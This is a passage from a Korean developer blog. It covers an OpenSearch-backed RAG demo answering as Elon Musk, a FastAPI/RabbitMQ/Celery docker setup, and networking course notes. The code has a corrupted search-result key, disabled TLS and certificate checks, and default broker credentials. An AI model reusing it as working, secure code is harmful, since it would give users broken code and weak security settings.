RecursiveCharacterTextSplitter( 21 chunk_size=100, 22 chunk_overlap=0, 23 separators=["\n"], 24 length_function=len, 25) 26 27documents = text_splitter.split_documents(docs) 28 29# print(documents) 30 31## Embedding 모델 정의 32class MyEmbeddingModel: 33 def __init__(self, model_name): 34 self.tokenizer = AutoTokenizer.from_pretrained(model_name) 35 self.model = AutoModel.from_pretrained(model_name) 36 37 def embed_documents(self, doc): 38 inputs = self.tokenizer( 39 doc, return_tensors="pt", padding=True, truncation=True, max_length=512 40 ) 41 42 with torch.no_grad(): 43 outputs = self.model(**inputs) 44 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 45 46 return embeddings 47 48 def embed_query(self, text): 49 inputs = self.tokenizer( 50 [text], padding=True, truncation=True, return_tensors="pt", max_length=512 51 ) 52 with torch.no_grad(): 53 outputs = self.model(**inputs) 54 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 55 return embeddings 56 57 58## index 구조 정의 59index_body = { 60 "settings": { 61 "analysis": { 62 "tokenizer": { 63 "nori_user_dict": { 64 "type": "nori_tokenizer", 65 "decompound_mode": "mixed", 66 "user_dictionary": "user_dic.txt", 67 } 68 }, 69 "analyzer": { 70 "korean_anlyzer": { 71 "filter": [ 72 "synonym", "lowercase", 73 ], 74 "tokenizer": "nori_user_dict", 75 } 76 }, 77 "filter": { 78 "synonym" :{ 79 "type": "synonym_graph", 80 "synonyms_path" : "synonyms.txt" 81 } 82 } 83 } 84 } 85} 86 87## Embedding 모델 생성 88my_embedding = MyEmbeddingModel("monologg/kobert") 89 90## OpenSearch에 데이터 삽입 91vector_db = OpenSearchVectorSearch.from_documents( 92 index_name=INDEX_NAME, 93 body=index_body, 94 documents=documents, 95 embedding=my_embedding, 96 op_type="create", 97 opensearch_url="http://localhost:9200", 98 http_auth=("admin", {password}), 99 use_ssl=False, 100 verify_certs=False, 101 ssl_assert_hostname=False, 102 ssl_show_warn=False, 103 bulk_size=1000000, 104 timeout=360000, 105) 106 107result = vector_db.add_documents(documents, bulk_size=1000000) tokenizer는 한국어를 지원하는 “nori_tokenizer"를 사용하였다. embedding 모델은 저거 말고도 여러가지가 존재하는데, 어떤 모델이 프로젝트에 가장 부합하는 모델인지는 실험을 해볼 것이다. curl을 통해 localhost:9200/elon_musk/_search로 요청을 보내 임베딩한 데이터가 잘 들어갔는지 확인할 수 있다. 4. RAG 모델이 OpenSearch를 쿼리하여 대답 생성 1from langchain.prompts import PromptTemplate 2from langchain.chains import LLMChain 3from langchain_openai import ChatOpenAI 4from opensearchpy import OpenSearch 5import os 6 7INDEX_NAME = "elon_musk" 8 9# 환경변수 설정 10os.environ["OPENAI_API_KEY"] = {api_key} 11 12llm = ChatOpenAI( 13 model_name="gpt-3.5-turbo", 14) 15 16prompt_template = PromptTemplate( 17 input_variables=["context", "question"], 18 template=""" 19Imagine you are {character_name}, 20a wise and experienced advisor. Given the context: "{context}", 21how would you respond to this inquiry: "{question}"?', 22(in korean) 23""", 24) 25 26 27llm_chain = LLMChain(llm=llm, prompt=prompt_template) 28 29client = OpenSearch( 30 hosts=["http://localhost:9200"], 31 http_auth=("admin", {password}), 32 use_ssl=False, 33 verify_certs=False, 34 ssl_assert_hostname=False, 35 ssl_show_warn=False, 36) 37 38def search_documents(query): 39 search_body = {"query": {"match": {"text": query}}} 40 response = client.search(index=INDEX_NAME, body=search_body) 41 hits = response["`its"]["hits"] 42 return [hit["_source"]["text"] for hit in hits] 43 44if __name__ == "__main__": 45 question = input("Enter your question\n") 46 search_results = search_documents(question) 47 48 print(search_results) 49 50 # context = " ".join(search_results) 51 context = "" 52 53 response = llm_chain.invoke({"character_name": INDEX_NAME, "context": context, "question": question}) 54 55 print (response["text"]) OpenSearch에 저장된 데이터를 쿼리하여 RAG 모델에 넣어 대답을 생성한다. search_documents 함수를 통해 OpenSearch에 쿼리를 보내고, 그 결과를 context로 사용한다. 결과 질문 테슬라에 대해서 어떻게 생각해? RAG를 사용하지 않았을 때의 대답 테슬라는 혁신적인 기업으로서 미래를 향한 비전을 가지고 있습니다. 그들의 전기 자동차 기술과 에너지 솔루션은 전 세계적으로 주목받고 있습니다. 테슬라의 혁신적인 접근 방식과 지속 가능한 비즈니스 모델에 대해 매우 긍정적으로 생각하고 있습니다. RAG를 사용할때 적용된 context [‘길게 갈 것 같지는 않아요.\n그러네요. 저는 최대한 오랫동안 테슬라에 머물 생각이에요.\n그리고 준비 중에 있는 흥미로운 일도 많고요. 아시다시피, 모델 3이 출시 예정이고요.’, ‘올해 말까지 LA에서 뉴욕까지\n완전 자율 주행으로 횡단하는 계획에 맞춰서 진행 중이에요.\n사람이 테슬라에 타서 운전대를 잡지 않고 “뉴욕"을 찍으면 그리로 간다는 말이네요.’, ‘길게 갈 것 같지는 않아요.\n그러네요. 저는 최대한 오랫동안 테슬라에 머물 생각이에요.\n그리고 준비 중에 있는 흥미로운 일도 많고요. 아시다시피, 모델 3이 출시 예정이고요.’, ‘올해 말까지 LA에서 뉴욕까지\n완전 자율 주행으로 횡단하는 계획에 맞춰서 진행 중이에요.\n사람이 테슬라에 타서 운전대를 잡지 않고 “뉴욕"을 찍으면 그리로 간다는 말이네요.’] RAG를 사용할 때의 대답 저는 테슬라를 매우 긍정적으로 생각합니다. 테슬라는 혁신적인 기술과 지속 가능한 미래를 위한 비전을 갖춘 기업으로서, 자율 주행 기술을 통해 우리의 삶을 혁신하고 있습니다. 또한, 전기차 시장을 선도하고 환경에 친화적인 차량을 제공하는 멋진 기업이라고 생각합니다. 테슬라의 미래가 밝고 흥미로운 일들이 계속해서 일어날 것이라고 믿습니다. 고찰 확실히 RAG를 사용하지 않았을 때는 객관적이고 일반적인 대답을 하는 반면, RAG를 사용할 때는 테슬라에 대해 긍정적인 일론 머스크의 대답과, 자율주행 기술을 언급했다는 것을 반영하여 대답을 생성하였다.

Fastapi, RabbitMQ, Celery 연동

🐍 Python

배경 테커 부트캠프에서 팀프로젝트를 진행 중이다. 웹소켓을 통해 클라이언트로부터 받은 데이터를 gpt를 통해 처리하고, 결과를 다시 클라이언트로 보내는 서비스를 구현하고 있다. 여러 사용자의 요청을 원활하게 처리하기 위해 분산 비동기 시스템을 구축하려고 한다. 목표 Fastapi, RabbitMQ, Celery를 각자 docker 컨테이너로 구동시키고 연동한다. docker-compose.yml 1version: '3' 2 3services: 4 rabbitmq: 5 image: rabbitmq:3 6 ports: 7 - "5672:5672" # RabbitMQ의 AMQP 포트 8 - "15672:15672" # RabbitMQ 관리 인터페이스 포트 9 volumes: 10 - rabbitmq_data:/var/lib/rabbitmq 11 expose: 12 - "5672" 13 - "15672" 14 15 celery_worker: 16 build: 17 context: . 18 dockerfile: Dockerfile.worker 19 command: celery -A utils.celery_worker worker --loglevel=info 20 working_dir: /app 21 volumes: 22 - ./app/utils:/app/utils 23 environment: 24 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 25 depends_on: 26 - rabbitmq 27 28 celery_beat: 29 image: celery:4 30 command: celery -A celery_beat beat --loglevel=info 31 working_dir: /app 32 environment: 33 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 34 volumes: 35 - ./app/utils:/app 36 depends_on: 37 - rabbitmq 38 39 web: 40 image: python:slim 41 working_dir: /app 42 # interactive mode 43 stdin_open: true 44 # tty mode 45 tty: true 46 environment: 47 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 48 volumes: 49 - ./app:/app 50 ports: 51 - "8000:8000" 52 depends_on: 53 - rabbitmq 54 - celery_worker 55 - celery_beat 56 57volumes: 58 rabbitmq_data: Celery worker에만 Dockerfile.worker를 이미지로 사용한 이유 worker에 추가적으로 python 라이브러리를 설치해야함 Celery 공식 도커 이미지가 deprecated 되었음. Fastapi는 시간 관계상 따로 이미지를 만들지 않고 python:slim 이미지를 사용했다. Dockerfile.worker 1FROM python:slim 2 3# 필요한 패키지 설치 4# ffmpeg가 필요해서 추가하였다 5RUN apt-get update && \ 6apt-get install -y --no-install-recommends gcc libpq-dev ffmpeg && \ 7rm -rf /var/lib/apt/lists/* 8 9# 필요한 파이썬 패키지 설치 10COPY requirements_celery_worker.txt ./ 11RUN pip install --no-cache-dir -r requirements_celery_worker.txt celery_worker.py 1import os 2from celery import Celery 3 4broker_url = os.getenv('CELERY_BROKER_URL') 5app = Celery('worker', broker=broker_url, backend="rpc://") 6 7@app.task 8def add(x, y): 9 return x + y broker_url은 RabbitMQ의 AMQP 주소를 의미한다. backend는 결과를 받기 위한 백엔드로 RabbitMQ를 사용한다. Celery worker 사용 방법 1from celery_worker import add 2 3# task를 비동기로 실행 4result = add.delay(4, 4) 5 6# apply_async는 delay와 동일한 기능 수행 7# delay와 달리 추가로 여러 옵션을 설정 가능 8result = add.apply_async((4, 4)) 9 10# 결과를 받기 위해 get()을 사용, 블로킹 호출 11result.get() 12 13# 작업이 완료되었는지 확업 14result.ready() 15 16# 작업이 실패했는지 확인 17result.successful() 18# or 19result.failed() 20 21# 작업의 상태 확인 (PENDING, STARTED, SUCCESS, FAILURE) 22result.state()

컴퓨터네트워크

🏫 학과 공부

HTTP HTTP Method Method request payload response payload idempotent GET Optional O O HEAD Optional O O POST Yes O X PUT Yes O O DELETE Optional O O CONNECT Optional O X OPTIONS Optional O O TRACE Optional O O PATCH Yes O X HTTP Protocol Version HTTP/1.0 연결방식 : non-persistent HTTP TCP 연결 한번에 최대 하나의 객체 각 객체당 2개의 RTT가 필요 HTTP/1.1 연결방식 : persistent HTTP 이전 TCP 연결을 재사용 -> 왕복지연시간 감소 (Connection: Keep-Alive) Pipelining으로 병렬 요청과 응답 (예: HTML+CSS) 1개의 TCP에서 객체가 순차적으로 전송 -> Head-of-line(HoL) 현상 발생 여러 개의 TCP 연결을 허용 - 브라우저에서 도메인당 연결 수 제한 도메인 샤딩(Domain Sharding) : 연결 제한을 피하기 위해 도메인 서버를 여러 개 두기 (HTTP/2에서는 X) HTTP/2 바이너리 프레임: 우선순위, 흐름제어, 서버 푸시 우선순위 지정 : 콘텐츠가 로드되는 순서 멀티플렉싱 : TCP연결 1개로 여러 데이터 전송 서버 푸시 : 서버가 리소스를 예측하여 전송 헤더 압축, 헤더와 데이터 분리 HTTP/3 QUIC 프로토콜, UDP 기반 기타 HTTP Cookie 웹사이트 방문 시 기록 Third-party Cookie 광고에 사용 HTTP Cache 최초 요청은 원래 서버에서 처리, 이후 요청은 Proxy(Cache) 서버에서 처리 CDN (Content Delivery Network) 컨텐츠를 전세계 여러 지역에 미리 배포 Internet protocol traceroute : 패킷 경로 추적 netstat -rn, route -n : 라우터 정보 확인 P2P 버클리소켓 : 버클리 대학교에서 개발한 UNIX Socker API IP IP Address IPv4 32bit IPv6 128bit (64bit : network prefix, 64bit : host network identifier) Network identifier + Interface identifier 종류 : unicast, anycast, link-local, multicast ::1/128 : loopback address Internet 성능 인터넷 성능 지표 속도(대역폭, 비트전송률) 단위 : BPS 측정 도구 : iperf 링크의 대역폭 지연시간 단위 : sec 측정 방법 : 단방향 지연시간, RTT 측정도구 : ping, traceroute 종류 전송 지연 : 1bit 전송에 걸리는 시간 전파 지연 큐잉 지연 : 컴퓨터 / 라우터에서 처리되기까지 기다리는 시간 처리 지연 : 패킷 헤더 또는 경로 테이블 찾는 시간 손실률 단위 : % 측정 방법 : 실패한 패킷 수 / 전송한 패킷 수 측정 도구 : ping 성능을 향상을 위한 방법 HAR(HTTP ARchive format) 파일 분석 브라우저 <-> 사이트 간의 통신 내역을 JSON형태로 저장한 파일 Bookmarklet 현재 웹사이트 분석해주는 브라우저 add-on 브라우저 최적화 css, js, html 우선순위 부여 예측해서 미리하기 (자원 가져오기, DNS, TCP 연결, Web page Rendering) DNS (Domain Name System) Domain 이름 -> IP 주소로 변환 dig 명령어를 통해 dns 정보 확인 가능 포트번호 : 53 Slammer Worm DNS 서버 공격 DNS 동작 방식 UDP(<= 512B),TCP(> 512B) PORT : 53 DNS Query Type A : IPv4 주소 AAAA : IPv6 주소 CNAME : 별칭 TLD (Top Level Domain) 맨뒤에 붙는 도메인 (.com, .net, .org 등등) Authoritative DNS Server DNS 정보와 해당 IP 주소를 가지고 있는 서버 DNS Caching DDNS (Dynamic DNS) IP주소가 갱신되면 DNS 정보 갱신 (가정의 공유기) DNS 공격 DNS Sppofing, DNS cache poisoning, Phising DNSSEC (DNS Security Extensions) 데이터 위조-변조 공격 방지 표준기술 공개키 암호화방식의 전자서명 도입 DoH (DNS over HTTPS) DNS 정보를 json형식으로 만들어 HTTPS 전송 DNS over TLS DNS 정보를 TLS로 암호화하여 전송 SNI (Server Name Indication) : 도메인 정보 TLS에서는 SNI를 암호화하지 않음 포트번호: 853 P2P 두 방식의 비교 1개의 서버 N개의 file $u_s$: 서버 업로드 대역폭 $d_i$: i번째 peer의 다운로드 대역폭 Client-Server 방식 배포 시간 $$ d_{cs} = max(\frac{NF}{u_s},\ \frac{F}{min(d_i)}) $$ P2P 방식 서버에 업로드하는 시간 $$ d*{p2p} = max(\frac{F}{u_s},\ \frac{F}{min(d*{i})},\ \frac{NF}{u_s+\sum{u_i}}) $$ BitTorrent 파일을 256KB chunks로 분할 Distributed Hash Table (DHT) 분산 P2P DB key: hash(content), value: IP address 인접한 이웃에게 키를 할당 Circular DHT 각 피어는 인접 노드만 알고있음 Skype 사용자 간 P2P통신 FTP, SMTP 메일관련 프로토콜 SMTP: 이메일 서버 전송 프로토콜 POP3, IMAP, HTTP: 이메일 서버 접근 프로토콜 telnet 포트번호: 23 신뢰성 있는 전송계층 TCP segment 신뢰성: 오류 탐지/복구, 순서 전송, 중복 제거 흐름제어: 수신자의 상태에 따른 전송량 조절 혼잡제어: 네트워크+수신자의 혼잡상태에 따른 전송량 조절 연결관리 UDP segment 연결을 만들지 않는다, 빠르다, 단순한다 checksum : 오류 검출 가능 공통 지연시간, 대역폭은 보장이 되지 않는다 Stop-and-Wait ARQ 송신자 윈도우 크기: 0 or 1 수신자 윈도우 크기 : 1 성능 $$d_{trans}=\frac{L}{R}$$ $$U_{sender}=\frac{d_{trans}}{RTT+d_{trans}}$$ Go-Back-N ARQ 송신자 윈도우 크기 : $2^m - 1$ 수신자 윈도우 크기 : 1 Selective Repeat ARQ 송신자 윈도우 크기 : $2^{m - 1}$ 수신자 윈도우 크기 : $2^{m - 1}$ TCP TCP 개요 연결 지향적 신뢰성 있는 전송 pipelining : 병렬 전송 Full duplex data : 동일 연결에서 양방향 데이터 전송 flow control byte단위 의 stream 전송 TCP Segment Timeout 설정 적당한 tcp timeout 값 설정 필요 RTT보다 길어야함 너무 짧으면 불필요한 재전송, 너무 길면 세그먼트 손실 RTT 측정 $$EstimatedRTT = (1-\alpha)EstimatedRTT + \alpha SampleRTT$$ 보통 $\alpha$ : 0.125 오차 범위 계산 $$ DevRTT = (1-\beta)DevRTT + \beta |SampleRTT - EstimatedRTT| $$ Timeout Interval 도출 $$ TimeoutInterval = EstimatedRTT + 4*DevRTT $$ TCP 신뢰성 있는 전송 cumulative acks pipelined segments timeout -> 재전송 duplicate acks -> 재전송 TCP Flow control control 동작원리 RcvWindow : 송신자 최대 전송크기 RcvWindow만큼 buffer 내 spare room으로 한다 TCP 연결 관리 (3-way handshake) 연결 종료 시나리오 client->server : FIN server->client : ACK + FIN client->server : ACK Socket Programming 소켓 응용 프로세스와 전송 계층 사이의 API 여러개의 클라이언트와 통신 Multiprocess context switch 비용 발생, IPC 통신 Multithread context switch 비용 발생 Select 여러 Socket I/O 동시 처리 비효율적이다 Async 빠르다 복잡한 코드, 어려운 디버깅 WebSocket 실시간 양방향 통신 가능 Socket.io Node.js 기반의 WebSocket 구현체 라이브러리 Data Link 계층 링크 계층의 역할 데이터 프레임의 주고 받기 링크제어, 다중접근, 흐름제어, 에러제어 MAC 주소 디바이스 고유의 식별자, 48bit CIDR 사용하는 이유 Class(A, B, C) 단위 할당에 따른 비효율적인 주소 관리 BGP 라우팅 테이블 개수 최소화 예시 (172.16.150.115/22) 주소 개수 : $2^{32-22}-2$ = 1024 - 2 = 1022 첫번째와 마지막 주소는 특수목적 IP라서 사용 불가 네트워크 주소 : 172.16.148.0/22 주소 공간 : 172.16.148.0 ~ 172.16.151.255 브로드캐스트 주소 : 172.16.151.255 Network 계층 - IP Network 계층의 역할 IP 패킷 송수신, IP 패킷 전달, IP 경로 찾기 Fragmentation MTU(Maximum Transfer Unit) : 링크 계층 프레임 크기 제한 Ethernet : 1500B MTU 보다 큰 IP 패킷을 파편화, 목적지에서 재조립 TTL 라우팅 루프 방지, 0이 되면 폐기 traceroute : TTL을 이용한 도구 IP Options IPv4 IPv4 datagram format IP Options Record route, MTU probe/reply, timestamp IHL(Header Length): IP 헤더 길이 IP Options 필드의 최대길이는 최대 IP헤더길이 60B - IHL필드 최소값 20B = 40B IP Record Route Option: IP 주소 기록하는 옵션 Subnets 서브넷 (Subnets) 라우터를 거치지 않고 도착할 수 있는 인터페이스의 집합 DHCP 클라이언트의 IP 주소를 자동으로 할당, 관리하는 프로토콜 Ipv6 Ipv6 datagram format IPv4와 비교 no checksum no fragmentation / reassembly no options Ipv4 -> Ipv6 변환 tunneling : IPv6 패킷을 IPv4 패킷에 캡슐화 MiddleBox 출발지와 목적지 사이에서 ip router의 기능을 제외한 기능을 수행하는 중간 상자 NAT, Firewalls, Load balancers, Caches Network 계층 - Routing Routing: 길 찾기 기능 Routing table : Trie 자료구조 사용 방식 : Longest prefix matching Forwarding: 패킷 전달 기능 Forwarding table : 가장 긴 공통 prefix를 찾아서 패킷 전달 Switching fabrics 라우터 내부에서 패킷을 전달하는 방식 3가지 종류 : Memory, Bus, Crossbar 입력 포트에서의 문제 입력 포트의 속도 > 스위치 속도 -> 큐잉 지연 발생 Head-of-line(HoL) blocking : 큐잉 지연으로 인해 다른 패킷들도 지연되는 현상 출력 포트에서의 문제 스위치 속도 > 출력 포트의 속도 -> 패킷 손실 발생 해결방법 이미 대기 중인 패킷을 폐기 새로 도착한 패킷을 폐기 scheduling policy : FIFO, Round Robin 등등 Transport 계층 - 혼잡 제어 혼잡제어 개요 Congestion : 네트워크의 처리량 < 데이터 전송량 혼잡 탐지 : 재전송 타이머, 중복 ACK -> 패킷 손실 cwnd : congestion window size Van Jacobson이 큰 영향을 미침 MSS(Maximum Segment Size): 세그먼트의 최대 크기 (데이터만 포함) MTU(Maximum Transfer Unit): 최대 전송 크기 혼잡 제어 방법 AIMD Additive Increase Multiplicative Decrease 매 RTT마다 cwnd 1MSS 씩 증가 패킷 손실 감지 : cwnd 절반으로 감소 Slow Start 초기 cwnd: 1 or 10 MSS 매 RTT마다 cwnd 2배로 증가 패킷 손실시 window size = 1 혼잡 제어 정책 TCP Tahoe 처음에는 Slow Start, 이후에는 AIMD 3 duplicate ACKs 또는 timeout 발생 시 임계점 = window size/2 window size = 1 TCP Reno Tahoe와 비슷하다 timeout 발생시 임계점은 그대로 window size = 1 3 duplicate Acks인 경우 임계점 = window size/2 window size = window size/2 TCP CUBIC K: window size가 Wmax인 시점 K 근처에서 느리게 증가 K 멀리에서 빠르게 증가 TCP BBR BBR: Bottleneck Bandwidth and RTT NAT 공유기 IP 주소 변환 public IP <-> private IP 주소 뿐만 아니라 포트도 바뀐다 공유기 addr-port mapping table의 생성과 삭제 내부->외부 생성 : TCP/UDP 최초 패킷 송신 후 삭제 : 타이머/TCP 연결 종료 메시지 수신 후 외부->내부 생성 : 내부에서 트래픽 생성 또는 수동 삭제 : 타이머/TCP 연결 종료 메시지 수신 후 또는 수동 포트 포워딩 : 공유기 내부의 서버에 접근하기 위한 포트(TCP) 개방 기능 공유기 정보 확인하는 명령어 : netstat -rn, ifconfig, iptables -t nat -L -vn 공유기의 계층 L7(응용계층) : DNS 서버 L3(네트워크 계층) : IP Router + 주소 번역기 + DHCP L2(데이터 링크 계층) : Bridge, 이더넷 스위치, Wifi L1(물리 계층) IP Routing L3(Network layer) 역할 forwarding (data plane): 단순 패킷 전달 routing (control plane): 패킷 전달 경로 결정 control plane의 구조 Per-router control plane : 라우터마다 라우팅 알고리즘을 수행 SDN(Software Defined Networking) : 중앙집중식 라우팅 알고리즘 Routing Protocols link state (centralized, global) 출발지에서 목적지까지 반복하며 최단 경로를 계산 dijkstra 알고리즘 사용 시간복잡도(n개의 node) : $O(n^2)$ oscillation 발생 가능 : 라우팅 테이블이 수렴하지 않는 현상 distance vector : 인접한 라우터에게만 정보 전달 각 노드에서 동기적으로 최단 경로를 계산 bellman-ford 알고리즘 사용 link cost가 바뀌면 local dv를 다시 계산, 바뀐 dv를 인접 node에 전달 count-to-infinity 문제 : 라우팅 루프 현상 poisoned reverse : count-to-infinity 해결 방법 path vector Inter-AS routing protocol 라우터 수가 많아져도 작동 가능하게 하기 위해 사용 intra-AS routing protocols : RIP, EIGRP, OSPF RIP (Routing Information Protocol) DV algorithm 사용 루프 탐지를 위한 방법 : poison reverse 이제는 잘 사용하지 않음 EIGRP (Enhanced Interior Gateway Routing Protocol) DV 기반 cisco OSPF (Open Shortest Path First) classic link-state 모든 OSPF메시지는 인증됨 Hierarchical routing : local area, backbone 두 개의 레벨로 구성 boundary router : AS간 라우터 local router : local 내부 라우터 area border router : local과 backbone을 연결하는 라우터 Inter-AS routing BGP BGP (Border Gateway Protocol): 인터넷 상의 AS간 라우팅 프로토콜 eBGP : 인접한 AS간 라우팅 정보 교환 iBGP : AS 내부 라우터들에게 라우팅 정보 전달 BGP session : BGP routers는 TCP로 연결됨 BGP path: prefix + attributes prefix: IP 주소 AS-PATH: AS 리스트 NEXT-HOP: 다음 AS로 향하는 라우터 주소 BGP messages OPEN : TCP 연결 설정 UPDATE : 새 경로를 공시 (또는 이전 연결 철회) KEEPALIVE : UPDATES 없이 연결 유지 NOTIFICATION : 오류 보고 BGP 경로 선택 방법 큰 weight 큰 local preference 짧은 AS-PATH 가까운 NEXT-HOP MED (Multi-Exit Discriminator) Transport 계층 - 보안 TLS(Transport Layer Security) 표준 SSL 3.0 -> IETF TLS 1.0 -> TLS 1.2 -> TLS 1.3 HTTPS = TCP + TLS + HTTP Network Security의 구성요소 Confidentiality (기밀성) Authentication (인증) Message Integrity (무결성) Access & Availability (가용성) 암호화 모음 (Cipher Suite) 키 교환 알고리즘: Diffie-Hellman 인증: RSA (공개키) 암호화: AES (대칭키) 무결성: SHA256 (해시) TLS Handshake 프로토콜의 과정 Client Hello : 버전, 사용가능한 암호화 종류 Server Hello : 암호화 종류 Certificate : 인증서 Server Hello Done Client Key Exchange : Pre-Master Secret 생성 후 전송 Change Cipher Spec : 암호화 종류 선택 Change Cipher Spec Finished : 암호화 종류 선택 완료 SSL/TLS 인증서 서비스 정보 : 발급한 CA, 도메인 등 CA(Certificate Authority) : 인증서 발급 기관 TLS 1.2와 TLS 1.3의 비교 IP 계층 - 보안 암호통신 - IP Sec IP 패킷에서 encryption, authentication, integrity 2가지 모드 transport mode: 1개의 datagram payload만 암호화 tunnel mode: 전체 datagram이 encrypted, authenticated 프로토콜 AH(Authentication Header): 인증, 무결성 보장 ESP(Encapsulating Security Payload): 인증, 무결성, 기밀성 보장 SAs(Security Associations) 데이터를 보내기 전 SA 생성 IP: 비연결성, IPsec: 연결성 SPI(Security Parameter Index): SA를 식별하는 값 IPsec datagram (tunnel mode, ESP) ESP trailer: block 암호화를 위한 padding ESP header IKE (Internet Key Exchange) 기존 방식 : 수동 키로 IPSec SA를 생성 endpoint가 많은 경우 수동 키 관리가 어려움 -> IPsec IKE 사용 암호 통신 - 대칭키, 공개키, 전자서명 암호 (cryptography) 기초 용어 m : 평문 $K_A(m)$: 암호문 m = $K_B(K_A(m))$ : 복호화 Symmetric key cryptography (대칭키 암호화) 암호화, 복호화에 같은 키 사용 단순 암호화 방법 substitution cipher : 문자를 다른 문자로 치환 좀 더 정교한 방법 cyclic cipher : 문자를 다른 문자로 치환하고, 순서를 바꿈 DES(Data Encryption Standard) 56bit symmetric key, input : 64bit 하루에 안 채워지는 시간에 뚫림 3DES : 3개의 서로 다른 키로 3번 암호화 AES(Advanced Encryption Standard) 128bit, 192bit, 256bit key input: 128bit AES는 DEC보다 견고하다 Public Key Cryptography (공개키) 공개키: 암호화, 개인키: 복호화 대칭키보다 느리다 HTTPS = 공개키(키 교환) + 대칭키 (암호화) RSA 암호화 방식 특징 $K_B^-(K_B^+(m)) = m$ 공개키 $K_B^+$가 주어졌을 때 개인키 $K_B^-$가 계산 불가능 해야한다. $K_B^-(K_B^+(m)) = m = K_B^+(K_B^-(m))$ 방법 디지털 서명 서명한 사람의 인증 용도 공개키 활용 인증서 전자서명만으로 송신자의 신원 확인 불가능 내용: 신원정보, 공개키, 유효기관, 인증기관정보, 전자서명 표준 규격 : X.509 X.509 .der 혹은 .pem 확장자 파일 암호통신 - 무결성 전자 서명의 무결성 (A->B) m에 A가 유일하게 서명을 해야한다. A는 m`이 아닌 m에만 서명을 해야한다. 해시 함수 알고리즘 : MD5, SHA-1 암호통신 - Firewall 목적 서비스 거부 공격 방지 (SYN flooding: 가짜 TCP 연결을 생성) 내부 데이터의 불법 수정/접근 방지 내부 네트워크에 대한 권한 있는 액세스만 허용 한계 IP spoofing: IP 주소를 위조하여 내부 네트워크에 접근하는 공격 Stateless packet filtering 패킷 단위로 패킷을 필터링 필터링 하는 기준 : source IP, dest IP, TCP/UDP source, port 등 ACL(Access Control List) : 허용/차단 목록 Stateful packet filtering TCP 연결마다 패킷 상태를 추적 ACL에 check connection column이 추적 여부 결정 Application gateway IP/TCP/UDP 패킷의 data field를 확인 Intrusion Detection System (IDS) (침입 탐지 시스템) deep packet inspection : 패킷의 내용을 확인 패킷 간 상관관계 조사 (port scanning, network mapping, Dos attack) multiple IDSs : 여러 IDS를 사용하여 패킷을 확인 암호통신 - email 예시 (Alice가 Bob에게 메일을 보낸다) Confidentiality(기밀성) Alice 대칭키 K 생성 K로 메시지 암호화, K로 메시지 암호화 K를 Bob의 공개키로 암호화 암호화 된 K와 메시지를 전달 Bob K를 Bob의 개인키로 복호화 K로 메시지 복호화 Integrity (무결성), Authentication(인증) Alice 메시지 Hash에 Alice의 개인키로 디지털 서명 메시지와 디지털 서명을 전달 Bob 메시지 hash를 Alice의 공개키로 복호화 디지털 서명과 메시지 hash가 일치하는지 확인 PGP (Pretty Good Privacy) 메일을 암호화하는 시스템 AES256(대칭키) 사용 S/MIME (Secure/Multipurpose Internet Mail Extensions) 메일을 암호화하는 시스템 암호화 + 디지털 서명 = Confidentiality + Integrity + Authentication Multimedia streaming RTSP (Real-Time Streaming Protocol) RTMP (Real-Time Messaging Protocol) HLS (HTTP Live Streaming) 비디오/오디오 조각 파일 HTTP 전송 인코딩 : H.26 조각화 : 6초 정도 HTTP : TCP 버퍼링 때문에 실시간 목적에는 부적합 MPEG-DASH (Dynamic Adaptive Streaming over HTTP) RTMP WebRTC Plug-in 없이 웹브라우저에서 음성/영상/P2P 공유 가능하게 하는 표준 API P2P 작동 방식 STUN, TURN, ICE와 같은 NAT Traversal 기술 사용 신호 메시지 : Socket.io, 웹소켓, AJAX long polling STUN (Session Traversal Utilities for NAT) STUN 서버에서 공인 IP 주소 정보와 port번호 질의 응답 TURN (Traversal Using Relays around NAT) 피어 간에 트래픽 릴레이 서버 클라이언트가 동일한 로컬 네트워크에 위치하지 않을 경우 사용 ICE (Interactive Connectivity Establishment) 브라우저가 Peer를 통한 연결을 가능하게 하는 프레임워크 Wireless and Mobile Networks Elements of a wireless network base station : 유선 네트워크에 연결 relay: 로컬에서 유선 네트워크와 무선 호스트 간에 패킷 전송을 담당 wireless link : 모바일을 기지국에 연결하는데 사용 infrastructure mode : 기지국은 핸드폰을 유선 네트워크에 연결 handoff : 모바일에서 AP를 바꾸면서 통신 ad hoc mode : 기지국 없이 모바일 간에 통신 무선 통신의 특징 유선 대비 약한 신호 다른 무선 장치와의 간섭 다중 경로 전파 SNR(Signal to Noise Ratio) : 신호 대 잡음비 BER(Bit Error Rate) : 비트 오류율 Hidden terminal problem : A-B, B-C 가능 A-C 불가능 802.11 LAN base station과 무선 host간의 통신 Infrastructure 모드의 BSS(Basic Service Set)에 포함되는 것 Wireless hosts AP (base station) ad hoc mode: hosts only CSMA : 전송 전 충돌 검사 -> 충돌 감지가 불가능 보내는 사람 Sense channel이 DIFS에 대해 idle하면 프레임을 전송 Sense channel이 busy하면 random backoff 후 ack가 오지 않으면 backoff를 증가, 2번 반복 받는 사람 프레임을 받으면 SIFS 후 ack 전송 CA sender가 작은 RTS(Request to Send) 프레임을 BS로 전송 (CSMA 사용) BS broadcasts CTS(Clear to Send) to sender (CTS가 모든 노드에게 전달) sender가 데이터 프레임 전송, 다른 station은 전송 지연 advanced capabilities Rate adaptation : SNR(신호대 잡음비)와 BER(비트 오류율)을 측정하여 전송률을 조절 CDMA (Code Division Multiple Access) unique code가 각 사용자에게 부여 encoding: 원본 데이터 X chipping 순서 (내적 연산) decodding : encoded 데이터 X chipping 순서 (내적 연산) 4G/5G cellular networks 최대 100Mbps의 전송 속도 기술 표준 : 3GPP(3rd Generation Partnership Project) Base station(eNodeB) : wifi AP와 유사 HSS(Home Subscriber Server) : 사용자 정보 저장 MME(Mobility Management Entity) : 사용자 위치 추적 S-GW(Serving Gateway) : 사용자 데이터 전송 P-GW(Packet Data Network Gateway) : 사용자 데이터 전송 GTP : GPRS Tunneling Protocol 5G 10배 빠른 속도, 지연 시간 10배 감소, 100배 많은 장치 연결 (4G 대비)

인간-컴퓨터 상호작용

🏫 학과 공부

